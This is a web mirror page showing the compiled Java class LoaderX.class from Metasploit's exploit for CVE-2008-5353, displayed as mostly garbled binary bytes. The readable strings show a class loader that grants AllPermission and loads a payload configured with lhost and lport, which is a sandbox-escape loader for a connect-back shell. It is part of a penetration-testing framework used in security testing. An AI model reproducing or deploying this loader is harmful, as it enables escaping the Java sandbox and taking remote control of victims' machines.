CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2008-5353/bin/msf/x/LoaderX.class
Views: 11791
����-�
msf/x/LoaderXjava/lang/ClassLoaderjava/io/SerializableserialVersionUIDJ
ConstantValue^�Lg��	�instanceLmsf/x/LoaderX;<clinit>()VCode	
LineNumberTableLocalVariableTable<init>
thiswriteObject(Ljava/io/ObjectOutputStream;)V
Exceptionsjava/io/IOException java/lang/ClassNotFoundException
!#"java/io/ObjectOutputStream$defaultWriteObjectoosLjava/io/ObjectOutputStream;
readObject(Ljava/io/ObjectInputStream;)V
*,+java/io/ObjectInputStream-defaultReadObjectoisLjava/io/ObjectInputStream;bootstrapPayload((Ljava/lang/String;Ljava/lang/String;I)V3java/lang/String5msf.x.PayloadX$StreamConnector7msf.x.PayloadX9%/msf/x/PayloadX$StreamConnector.class;/msf/x/PayloadX.class=java/io/ByteArrayOutputStream
<
@BAjava/lang/ObjectCDgetClass()Ljava/lang/Class;
FHGjava/lang/ClassIJgetResourceAsStream)(Ljava/lang/String;)Ljava/io/InputStream;
<LMNwrite([BII)V
PRQjava/io/InputStreamSTread([B)I
<VWXtoByteArray()[BZjava/net/URL\file:///
Y^_(Ljava/lang/String;)Vajava/security/cert/Certificatecjava/security/Permissions
bfjava/security/AllPermission
e
bijkadd(Ljava/security/Permission;)Vmjava/security/ProtectionDomainojava/security/CodeSource
nqr2(Ljava/net/URL;[Ljava/security/cert/Certificate;)V
ltuA(Ljava/security/CodeSource;Ljava/security/PermissionCollection;)V
wxydefineClassI(Ljava/lang/String;[BIILjava/security/ProtectionDomain;)Ljava/lang/Class;{data
F}~getField-(Ljava/lang/String;)Ljava/lang/reflect/Field;�lhost�lport
F���newInstance()Ljava/lang/Object;
���java/lang/reflect/Field��set'(Ljava/lang/Object;Ljava/lang/Object;)V
����setInt(Ljava/lang/Object;I)V�java/lang/ExceptionLjava/lang/String;I
classNames[Ljava/lang/String;
classPathsclsLjava/lang/Class;indexbosLjava/io/ByteArrayOutputStream;buffer[BlengthisLjava/io/InputStream;urlLjava/net/URL;certs![Ljava/security/cert/Certificate;permLjava/security/Permissions;pd Ljava/security/ProtectionDomain;payload_dataLjava/lang/reflect/Field;
payload_lhost
payload_lportobjLjava/lang/Object;
SourceFileLoaderX.java!	
	
)��
/*��
=+� �

%&'(E	*�+�)�!#$	
	./01x�2Y4SY6S:�2Y8SY:S::6���<Y�>: �:	*�?2�E:�
	
�K	�OY6
����U:	�YY[�]:�`:
�bY�d:�eY�g�h�lY�nY
�p�s:*2		��v:����j�Iz�|:��|:��|:	��:

+��
,��	
����:
�:�#�v() *#.)02195G7J8T7a:h<s>y@�A�C�E�.�I�L�M�N�Q�T�U�VY\
]�
{�������� ���#���&���2���9~��	J
��
^Y��
Gp��sD��y>��
�5������8���/���&��	���
��